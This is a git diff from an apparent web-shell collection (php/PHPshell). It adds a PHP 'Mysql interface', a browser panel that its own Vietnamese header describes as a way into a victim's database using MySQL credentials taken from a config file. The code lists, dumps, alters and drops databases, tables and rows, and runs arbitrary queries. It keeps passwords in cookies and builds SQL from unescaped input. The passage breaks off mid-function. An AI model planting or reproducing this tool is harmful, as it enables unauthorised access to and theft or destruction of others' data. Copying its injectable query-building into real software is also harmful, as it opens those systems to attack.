zc#p2`vIVxW#OO0X#<MLZ>r(xRk}sLXMn}2KM3ERCOKKua2Y4Oq+3L>BWQ=3wWNl)l z-dmW)&j&GOaLc`0^>f?Apws-yUn>j3_^)6NkC-7YCwQ}UHXgPqR9}h=DkZO0VAfY+ zTi{i$xgM`vopQB4r28tp8kU<){`jhnrgR!-ic^BKV)|_pY|oqW9NWo`^4}-O2n`^a zWau$I_VY83GZ2cMadIzn7ZbdBiz;^SJxHxTgF~0j#)oCW0OjXzPqj29M6xp1XezT7 zsxlmSbp;LeDyYalGY45wkLqf=Zv*!LB7i8(=0m!_xF;sO?FEC;MCRZoVw`yM-33_1 zExA;S*WFi5t**g(+C6#%s&TAN!lREpG()J1n1@(Y4Q!^WI=RPgR=Mxqp`~FIbW#n? z!BhW;^90Av_4PeGzp!k~LK861y`<RR>BRfYJtRh-Mq#u@%(!O+HwF)jb=UPD0Ym?M M=07|G4MKnW7bf!j2mk;8 literal 0 HcmV?d00001 diff --git a/php/PHPshell/Mysql interface v1.0/Mysql interface v1.0.php b/php/PHPshell/Mysql interface v1.0/Mysql interface v1.0.php new file mode 100644 index 0000000..28a5e14 --- /dev/null +++ b/php/PHPshell/Mysql interface v1.0/Mysql interface v1.0.php @@ -0,0 +1,1166 @@ +<? +/* +* Mysql interface v1.0 +* ------------------------------- +* Description : +* Dung` de login vao` CSDL cua victim khi da biet user va` pass cua mysql thong qua file config +*/ + +$HOSTNAME = "localhost"; + +function logon() { +global $PHP_SELF; + +setcookie( "mysql_web_admin_username" ); +setcookie( "mysql_web_admin_password" ); +echo "<html>\n"; +echo "<head>\n"; +echo "<title>Mysql interface</title>\n"; +echo "</head>\n"; +echo "<body>\n"; +echo "<table width=100% height=100%><tr><td><center>\n"; +echo "<table cellpadding=2><tr><td bgcolor=#0090FF><center>\n"; +echo "<table cellpadding=20><tr><td bgcolor=#ffffff><center>\n"; +echo "<h1><b><font color=#FF0000>Mysql Interface v1.0</font></b></h1>\n"; +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=logon_submit>\n"; +echo "<table cellpadding=5 cellspacing=1>\n"; +echo "<tr><td>Username </td><td> <input type=text name=username></td></tr>\n"; +echo "<tr><td>Password </td><td> <input type=password name=password></td></tr>\n"; +echo "</table><p>\n"; +echo "<input type=submit value='Enter'>\n"; +echo "<input type=reset value='Clear'><br>\n"; +echo "</form>\n"; +echo "</center></td></tr></table>\n"; +echo "</center></td></tr></table>\n"; +echo "<p><hr width=300>\n"; +echo "<font size=2>\n"; +echo "Copyright &copy; 2005\n <br>"; +echo "</font>\n"; +echo "</center></td></tr></table>\n"; +echo "</body>\n"; +echo "</html>\n"; +} + +function logon_submit() { +global $username, $password, $PHP_SELF; + +setcookie( "mysql_web_admin_username", $username ); +setcookie( "mysql_web_admin_password", $password ); +echo "<html>"; +echo "<head>"; +echo "<META HTTP-EQUIV=Refresh CONTENT='0; URL=$PHP_SELF?action=listDBs'>"; +echo "</head>"; +echo "</html>"; +} + +function echoQueryResult() { +global $queryStr, $errMsg; + +if( $errMsg == "" ) $errMsg = "Success"; +if( $queryStr != "" ) { + echo "<table cellpadding=5>\n"; + echo "<tr><td>Query</td><td>$queryStr</td></tr>\n"; + echo "<tr><td>Result</td><td>$errMsg</td></tr>\n"; + echo "</table><p>\n"; +} +} + +function listDatabases() { +global $mysqlHandle, $PHP_SELF; + +echo "<h1>Database List</h1>\n"; + +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=createDB>\n"; +echo "<input type=text name=dbname>\n"; +echo "<input type=submit value='Create Database'>\n"; +echo "</form>\n"; +echo "<hr>\n"; + +echo "<table cellspacing=1 cellpadding=5>\n"; + +$pDB = mysql_list_dbs( $mysqlHandle ); +$num = mysql_num_rows( $pDB ); +for( $i = 0; $i < $num; $i++ ) { + $dbname = mysql_dbname( $pDB, $i ); + echo "<tr>\n"; + echo "<td>$dbname</td>\n"; + echo "<td><a href='$PHP_SELF?action=listTables&dbname=$dbname'>Table</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dropDB&dbname=$dbname' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dumpDB&dbname=$dbname'>Dump</a></td>\n"; + echo "</tr>\n"; +} +echo "</table>\n"; +} + +function createDatabase() { +global $mysqlHandle, $dbname, $PHP_SELF; + +mysql_create_db( $dbname, $mysqlHandle ); +listDatabases(); +} + +function dropDatabase() { +global $mysqlHandle, $dbname, $PHP_SELF; + +mysql_drop_db( $dbname, $mysqlHandle ); +listDatabases(); +} + +function listTables() { +global $mysqlHandle, $dbname, $PHP_SELF; + +echo "<h1>Table List</h1>\n"; +echo "<p class=location>$dbname</p>\n"; +echoQueryResult(); +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=createTable>\n"; +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=text name=tablename>\n"; +echo "<input type=submit value='Create Table'>\n"; +echo "</form>\n"; +echo "<form action='$PHP_SELF'>\n"; +echo "<input type=hidden name=action value=query>\n"; +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=text size=40 name=queryStr>\n"; +//echo "<textarea cols=30 rows=3 name=queryStr></textarea><br>"; +echo "<input type=submit value='Query'>\n"; +echo "</form>\n"; +echo "<hr>\n"; + +$pTable = mysql_list_tables( $dbname ); + +if( $pTable == 0 ) { + $msg = mysql_error(); + echo "<h3>Error : $msg</h3><p>\n"; + return; +} +$num = mysql_num_rows( $pTable ); + +echo "<table cellspacing=1 cellpadding=5>\n"; + +for( $i = 0; $i < $num; $i++ ) { + $tablename = mysql_tablename( $pTable, $i ); + + echo "<tr>\n"; + echo "<td>\n"; + echo "$tablename\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>Data</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=dropTable&dbname=$dbname&tablename=$tablename' onClick=\"return confirm('Drop Database \'$dbname\'?')\">Drop</a>\n"; + echo "</td>\n"; + echo "<td>\n"; + echo "<a href='$PHP_SELF?action=dumpTable&dbname=$dbname&tablename=$tablename'>Dump</a>\n"; + echo "</td>\n"; + echo "</tr>\n"; +} + +echo "</table>"; +} + +function createTable() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; + +$queryStr = "CREATE TABLE $tablename ( no INT )"; +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +listTables(); +} + +function dropTable() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; + +$queryStr = "DROP TABLE $tablename"; +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +listTables(); +} + +function viewSchema() { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $queryStr, $errMsg; + +echo "<h1>Table Schema</h1>\n"; +echo "<p class=location>$dbname &gt; $tablename</p>\n"; + +echoQueryResult(); + +echo "<a href='$PHP_SELF?action=addField&dbname=$dbname&tablename=$tablename'>Add Field</a> | \n"; +echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename'>View Data</a>\n"; +echo "<hr>\n"; + +$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); +$num = mysql_num_rows( $pResult ); + +echo "<table cellspacing=1 cellpadding=5>\n"; +echo "<tr>\n"; +echo "<th>Field</th>\n"; +echo "<th>Type</th>\n"; +echo "<th>Null</th>\n"; +echo "<th>Key</th>\n"; +echo "<th>Default</th>\n"; +echo "<th>Extra</th>\n"; +echo "<th colspan=2>Action</th>\n"; +echo "</tr>\n"; + +for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + echo "<tr>\n"; + echo "<td>".$field["Field"]."</td>\n"; + echo "<td>".$field["Type"]."</td>\n"; + echo "<td>".$field["Null"]."</td>\n"; + echo "<td>".$field["Key"]."</td>\n"; + echo "<td>".$field["Default"]."</td>\n"; + echo "<td>".$field["Extra"]."</td>\n"; + $fieldname = $field["Field"]; + echo "<td><a href='$PHP_SELF?action=editField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname'>Edit</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename&fieldname=$fieldname' onClick=\"return confirm('Drop Field \'$fieldname\'?')\">Drop</a></td>\n"; + echo "</tr>\n"; +} +echo "</table>\n"; +} + +function manageField( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF; + +if( $cmd == "add" ) + echo "<h1>Add Field</h1>\n"; +else if( $cmd == "edit" ) { + echo "<h1>Edit Field</h1>\n"; + $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); + $num = mysql_num_rows( $pResult ); + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + if( $field["Field"] == $fieldname ) { + $fieldtype = $field["Type"]; + $fieldkey = $field["Key"]; + $fieldextra = $field["Extra"]; + $fieldnull = $field["Null"]; + $fielddefault = $field["Default"]; + break; + } + } + $type = strtok( $fieldtype, " (,)\n" ); + if( strpos( $fieldtype, "(" ) ) { + if( $type == "enum" | $type == "set" ) { + $valuelist = strtok( " ()\n" ); + } else { + $M = strtok( " (,)\n" ); + if( strpos( $fieldtype, "," ) ) + $D = strtok( " (,)\n" ); + } + } +} + +echo "<p class=location>$dbname &gt; $tablename</p>\n"; +echo "<form action=$PHP_SELF>\n"; + +if( $cmd == "add" ) + echo "<input type=hidden name=action value=addField_submit>\n"; +else if( $cmd == "edit" ) { + echo "<input type=hidden name=action value=editField_submit>\n"; + echo "<input type=hidden name=old_name value=$fieldname>\n"; +} +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=hidden name=tablename value=$tablename>\n"; + +echo "<h3>Name</h3>\n"; +echo "<input type=text name=name value=$fieldname><p>\n"; +?> + +<h3>Type</h3> + +<font size=2> +* `M' indicates the maximum display size.<br> +* `D' applies to floating-point types and indicates the number of digits following the decimal point.<br> +</font> + +<table> +<tr> +<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofill</th><th>binary</th> +</tr> +<tr> +<td><input type=radio name=type value="TINYINT" <? if( $type == "tinyint" ) echo "checked";?>>TINYINT (-128 ~ 127)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="SMALLINT" <? if( $type == "smallint" ) echo "checked";?>>SMALLINT (-32768 ~ 32767)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMINT" <? if( $type == "mediumint" ) echo "checked";?>>MEDIUMINT (-8388608 ~ 8388607)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="INT" <? if( $type == "int" ) echo "checked";?>>INT (-2147483648 ~ 2147483647)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BIGINT" <? if( $type == "bigint" ) echo "checked";?>>BIGINT (-9223372036854775808 ~ 9223372036854775807)</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="FLOAT" <? if( $type == "float" ) echo "checked";?>>FLOAT</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DOUBLE" <? if( $type == "double" ) echo "checked";?>>DOUBLE</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DECIMAL" <? if( $type == "decimal" ) echo "checked";?>>DECIMAL(NUMERIC)</td> +<td align=center>O</td> +<td align=center>O</td> +<td>&nbsp</td> +<td align=center>O</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATE" <? if( $type == "date" ) echo "checked";?>>DATE (1000-01-01 ~ 9999-12-31, YYYY-MM-DD)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="DATETIME" <? if( $type == "datetime" ) echo "checked";?>>DATETIME (1000-01-01 00:00:00 ~ 9999-12-31 23:59:59, YYYY-MM-DD HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIMESTAMP" <? if( $type == "timestamp" ) echo "checked";?>>TIMESTAMP (1970-01-01 00:00:00 ~ 2106..., YYYYMMDD[HH[MM[SS]]])</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TIME" <? if( $type == "time" ) echo "checked";?>>TIME (-838:59:59 ~ 838:59:59, HH:MM:SS)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="YEAR" <? if( $type == "year" ) echo "checked";?>>YEAR (1901 ~ 2155, 0000, YYYY)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="CHAR" <? if( $type == "char" ) echo "checked";?>>CHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="VARCHAR" <? if( $type == "varchar" ) echo "checked";?>>VARCHAR</td> +<td align=center>O</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td align=center>O</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYTEXT" <? if( $type == "tinytext" ) echo "checked";?>>TINYTEXT (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TEXT" <? if( $type == "text" ) echo "checked";?>>TEXT (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMTEXT" <? if( $type == "mediumtext" ) echo "checked";?>>MEDIUMTEXT (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGTEXT" <? if( $type == "longtext" ) echo "checked";?>>LONGTEXT (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="TINYBLOB" <? if( $type == "tinyblob" ) echo "checked";?>>TINYBLOB (0 ~ 255)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="BLOB" <? if( $type == "blob" ) echo "checked";?>>BLOB (0 ~ 65535)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="MEDIUMBLOB" <? if( $type == "mediumblob" ) echo "checked";?>>MEDIUMBLOB (0 ~ 16777215)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="LONGBLOB" <? if( $type == "longblob" ) echo "checked";?>>LONGBLOB (0 ~ 4294967295)</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +<td>&nbsp</td> +</tr> +<tr> +<td><input type=radio name=type value="ENUM" <? if( $type == "enum" ) echo "checked";?>>ENUM</td> +<td colspan=5><center>value list</center></td> +</tr> +<tr> +<td><input type=radio name=type value="SET" <? if( $type == "set" ) echo "checked";?>>SET</td> +<td colspan=5><center>value list</center></td> +</tr> + +</table> +<table> +<tr><th>M</th><th>D</th><th>unsigned</th><th>zerofill</th><th>binary</th><th>value list (ex: 'apple', 'orange', 'banana') </th></tr> +<tr> +<td align=center><input type=text size=4 name=M <? if( $M != "" ) echo "value=$M";?>></td> +<td align=center><input type=text size=4 name=D <? if( $D != "" ) echo "value=$D";?>></td> +<td align=center><input type=checkbox name=unsigned value="UNSIGNED" <? if( strpos( $fieldtype, "unsigned" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=zerofill value="ZEROFILL" <? if( strpos( $fieldtype, "zerofill" ) ) echo "checked";?>></td> +<td align=center><input type=checkbox name=binary value="BINARY" <? if( strpos( $fieldtype, "binary" ) ) echo "checked";?>></td> +<td align=center><input type=text size=60 name=valuelist <? if( $valuelist != "" ) echo "value=\"$valuelist\"";?>></td> +</tr> +</table> + + +<h3>Flags</h3> +<table> +<tr><th>not null</th><th>default value</th><th>auto increment</th><th>primary key</th></tr> +<tr> +<td align=center><input type=checkbox name=not_null value="NOT NULL" <? if( $fieldnull != "YES" ) echo "checked";?>></td> +<td align=center><input type=text name=default_value <? if( $fielddefault != "" ) echo "value=$fielddefault";?>></td> +<td align=center><input type=checkbox name=auto_increment value="AUTO_INCREMENT" <? if( $fieldextra == "auto_increment" ) echo "checked";?>></td> +<td align=center><input type=checkbox name=primary_key value="PRIMARY KEY" <? if( $fieldkey == "PRI" ) echo "checked";?>></td> +</tr> +</table> + +<p> + +<? +if( $cmd == "add" ) + echo "<input type=submit value='Add Field'>\n"; +else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Field'>\n"; +echo "<input type=button value=Cancel onClick='history.back()'>\n"; +echo "</form>\n"; +} + +function manageField_submit( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $old_name, $name, $type, $PHP_SELF, $queryStr, $errMsg, + $M, $D, $unsigned, $zerofill, $binary, $not_null, $default_value, $auto_increment, $primary_key, $valuelist; + +if( $cmd == "add" ) + $queryStr = "ALTER TABLE $tablename ADD $name "; +else if( $cmd == "edit" ) + $queryStr = "ALTER TABLE $tablename CHANGE $old_name $name "; + +if( $M != "" ) + if( $D != "" ) + $queryStr .= "$type($M,$D) "; + else + $queryStr .= "$type($M) "; +else if( $valuelist != "" ) { + $valuelist = stripslashes( $valuelist ); + $queryStr .= "$type($valuelist) "; +} else + $queryStr .= "$type "; + +$queryStr .= "$unsigned $zerofill $binary "; + +if( $default_value != "" ) + $queryStr .= "DEFAULT '$default_value' "; + +$queryStr .= "$not_null $auto_increment"; + +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr, $mysqlHandle ); +$errMsg = mysql_error(); + +// key change +$keyChange = false; +$result = mysql_query( "SHOW KEYS FROM $tablename" ); +$primary = ""; +while( $row = mysql_fetch_array($result) ) + if( $row["Key_name"] == "PRIMARY" ) { + if( $row[Column_name] == $name ) + $keyChange = true; + else + $primary .= ", $row[Column_name]"; + } +if( $primary_key == "PRIMARY KEY" ) { + $primary .= ", $name"; + $keyChange = !$keyChange; +} +$primary = substr( $primary, 2 ); +if( $keyChange == true ) { + $q = "ALTER TABLE $tablename DROP PRIMARY KEY"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); + $q = "ALTER TABLE $tablename ADD PRIMARY KEY( $primary )"; + mysql_query( $q ); + $queryStr .= "<br>\n" . $q; + $errMsg .= "<br>\n" . mysql_error(); +} + +viewSchema(); +} + +function dropField() { +global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; + +$queryStr = "ALTER TABLE $tablename DROP COLUMN $fieldname"; +mysql_select_db( $dbname, $mysqlHandle ); +mysql_query( $queryStr , $mysqlHandle ); +$errMsg = mysql_error(); + +viewSchema(); +} + +function viewData( $queryStr ) { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF, $errMsg, $page, $rowperpage, $orderby; + +echo "<h1>Data in Table</h1>\n"; +if( $tablename != "" ) + echo "<p class=location>$dbname &gt; $tablename</p>\n"; +else + echo "<p class=location>$dbname</p>\n"; + +$queryStr = stripslashes( $queryStr ); +if( $queryStr == "" ) { + $queryStr = "SELECT * FROM $tablename"; + if( $orderby != "" ) + $queryStr .= " ORDER BY $orderby"; + echo "<a href='$PHP_SELF?action=addData&dbname=$dbname&tablename=$tablename'>Add Data</a> | \n"; + echo "<a href='$PHP_SELF?action=viewSchema&dbname=$dbname&tablename=$tablename'>Schema</a>\n"; +} + +$pResult = mysql_db_query( $dbname, $queryStr ); +$errMsg = mysql_error(); + +$GLOBALS[queryStr] = $queryStr; + +if( $pResult == false ) { + echoQueryResult(); + return; +} +if( $pResult == 1 ) { + $errMsg = "Success"; + echoQueryResult(); + return; +} + +echo "<hr>\n"; + +$row = mysql_num_rows( $pResult ); +$col = mysql_num_fields( $pResult ); + +if( $row == 0 ) { + echo "No Data Exist!"; + return; +} + +if( $rowperpage == "" ) $rowperpage = 20; +if( $page == "" ) $page = 0; +else $page--; +mysql_data_seek( $pResult, $page * $rowperpage ); + +echo "<table cellspacing=1 cellpadding=2>\n"; +echo "<tr>\n"; +for( $i = 0; $i < $col; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + echo "<th>"; + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&orderby=".$field->name."'>".$field->name."</a>\n"; + echo "</th>\n"; +} +echo "<th colspan=2>Action</th>\n"; +echo "</tr>\n"; + +for( $i = 0; $i < $rowperpage; $i++ ) { + $rowArray = mysql_fetch_row( $pResult ); + if( $rowArray == false ) break; + echo "<tr>\n"; + $key = ""; + for( $j = 0; $j < $col; $j++ ) { + $data = $rowArray[$j]; + + $field = mysql_fetch_field( $pResult, $j ); + if( $field->primary_key == 1 ) + $key .= "&" . $field->name . "=" . $data; + + if( strlen( $data ) > 20 ) + $data = substr( $data, 0, 20 ) . "..."; + $data = htmlspecialchars( $data ); + echo "<td>\n"; + echo "$data\n"; + echo "</td>\n"; + } + + if( $key == "" ) + echo "<td colspan=2>no Key</td>\n"; + else { + echo "<td><a href='$PHP_SELF?action=editData&dbname=$dbname&tablename=$tablename$key'>Edit</a></td>\n"; + echo "<td><a href='$PHP_SELF?action=deleteData&dbname=$dbname&tablename=$tablename$key' onClick=\"return confirm('Delete Row?')\">Delete</a></td>\n"; + } + echo "</tr>\n"; +} +echo "</table>\n"; + +echo "<font size=2>\n"; +echo "<form action='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename' method=post>\n"; +echo "<font color=green>\n"; +echo ($page+1)."/".(int)($row/$rowperpage+1)." page"; +echo "</font>\n"; +echo " | "; +if( $page > 0 ) { + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Prev</a>\n"; +} else + echo "Prev"; +echo " | "; +if( $page < ($row/$rowperpage)-1 ) { + echo "<a href='$PHP_SELF?action=viewData&dbname=$dbname&tablename=$tablename&page=".($page+2); + if( $orderby != "" ) + echo "&orderby=$orderby"; + echo "'>Next</a>\n"; +} else + echo "Next"; +echo " | "; +if( $row > $rowperpage ) { + echo "<input type=text size=4 name=page>\n"; + echo "<input type=submit value='Go'>\n"; +} +echo "</form>\n"; +echo "</font>\n"; +} + +function manageData( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $PHP_SELF; + +if( $cmd == "add" ) + echo "<h1>Add Data</h1>\n"; +else if( $cmd == "edit" ) { + echo "<h1>Edit Data</h1>\n"; + $pResult = mysql_list_fields( $dbname, $tablename ); + $num = mysql_num_fields( $pResult ); + + $key = ""; + for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_field( $pResult, $i ); + if( $field->primary_key == 1 ) + if( $field->numeric == 1 ) + $key .= $field->name . "=" . $GLOBALS[$field->name] . " AND "; + else + $key .= $field->name . "='" . $GLOBALS[$field->name] . "' AND "; + } + $key = substr( $key, 0, strlen($key)-4 ); + + mysql_select_db( $dbname, $mysqlHandle ); + $pResult = mysql_query( $queryStr = "SELECT * FROM $tablename WHERE $key", $mysqlHandle ); + $data = mysql_fetch_array( $pResult ); +} + +echo "<p class=location>$dbname &gt; $tablename</p>\n"; + +echo "<form action='$PHP_SELF' method=post>\n"; +if( $cmd == "add" ) + echo "<input type=hidden name=action value=addData_submit>\n"; +else if( $cmd == "edit" ) + echo "<input type=hidden name=action value=editData_submit>\n"; +echo "<input type=hidden name=dbname value=$dbname>\n"; +echo "<input type=hidden name=tablename value=$tablename>\n"; +echo "<table cellspacing=1 cellpadding=2>\n"; +echo "<tr>\n"; +echo "<th>Name</th>\n"; +echo "<th>Type</th>\n"; +echo "<th>Function</th>\n"; +echo "<th>Data</th>\n"; +echo "</tr>\n"; + +$pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" ); +$num = mysql_num_rows( $pResult ); + +$pResultLen = mysql_list_fields( $dbname, $tablename ); + +for( $i = 0; $i < $num; $i++ ) { + $field = mysql_fetch_array( $pResult ); + $fieldname = $field["Field"]; + $fieldtype = $field["Type"]; + $len = mysql_field_len( $pResultLen, $i ); + + echo "<tr>"; + echo "<td>$fieldname</td>"; + echo "<td>".$field["Type"]."</td>"; + echo "<td>\n"; + echo "<select name=${fieldname}_function>\n"; + echo "<option>\n"; + echo "<option>ASCII\n"; + echo "<option>CHAR\n"; + echo "<option>SOUNDEX\n"; + echo "<option>CURDATE\n"; + echo "<option>CURTIME\n"; + echo "<option>FROM_DAYS\n"; + echo "<option>FROM_UNIXTIME\n"; + echo "<option>NOW\n"; + echo "<option>PASSWORD\n"; + echo "<option>PERIOD_ADD\n"; + echo "<option>PERIOD_DIFF\n"; + echo "<option>TO_DAYS\n"; + echo "<option>USER\n"; + echo "<option>WEEKDAY\n"; + echo "<option>RAND\n"; + echo "</select>\n"; + echo "</td>\n"; + $value = htmlspecialchars($data[$i]); + if( $cmd == "add" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len name=$fieldname></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname></textarea>\n"; + } + } else if( $cmd == "edit" ) { + $type = strtok( $fieldtype, " (,)\n" ); + if( $type == "enum" || $type == "set" ) { + echo "<td>\n"; + if( $type == "enum" ) + echo "<select name=$fieldname>\n"; + else if( $type == "set" ) + echo "<select name=$fieldname size=4 multiple>\n"; + echo strtok( "'" ); + while( $str = strtok( "'" ) ) { + if( $value == $str ) + echo "<option selected>$str\n"; + else + echo "<option>$str\n"; + strtok( "'" ); + } + echo "</select>\n"; + echo "</td>\n"; + } else { + if( $len < 40 ) + echo "<td><input type=text size=40 maxlength=$len name=$fieldname value=\"$value\"></td>\n"; + else + echo "<td><textarea cols=40 rows=3 maxlength=$len name=$fieldname>$value</textarea>\n"; + } + } + echo "</tr>"; +} +echo "</table><p>\n"; +if( $cmd == "add" ) + echo "<input type=submit value='Add Data'>\n"; +else if( $cmd == "edit" ) + echo "<input type=submit value='Edit Data'>\n"; +echo "<input type=button value='Cancel' onClick='history.back()'>\n"; +echo "</form>\n"; +} + +function manageData_submit( $cmd ) { +global $mysqlHandle, $dbname, $tablename, $fieldname, $PHP_SELF, $queryStr, $errMsg; + +$pResult = mysql_list_fields( $dbname, $tablename ); +$num = mysql_num_fields( $pResult ); + +mysql_select_db( $dbname, $mysqlHandle ); +if( $cmd == "add" ) + $queryStr = "INSERT INTO $tablename VALUES ("; +else if( $cmd == "edit" ) + $queryStr = "REPLACE INTO $tablename VALUES ("; +for( $i = 0; $i < $num-1; $i++ ) { + $field = mysql_fetch_field( $pResult ); + $func = $GLOBALS[$field->name."_function"]; + if( $func != "" ) + $queryStr .= " $func("; + if( $field->numeric == 1 ) { + $queryStr .= $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "),"; + else + $queryStr .= ","; + } else { + $queryStr .= "'" . $GLOBALS[$field->name]; + if( $func != "" ) + $queryStr .= "'),"; + else + $queryStr .= "',"; + } +} +$field = mysql_fetch_field( $pResult ); +if( $field->numeric == 1 ) + $queryStr .= $GLOBALS[$field->name] . ")"; +else + $queryStr .= "'" . $GLOBALS[$field->name] . "')"; + +mysql_query( $queryStr , $mysqlHandle ); +$errMsg = mysql_error(); + +viewData( "" ); +} + +function deleteData() { +global $mysqlHandle, $dbname, 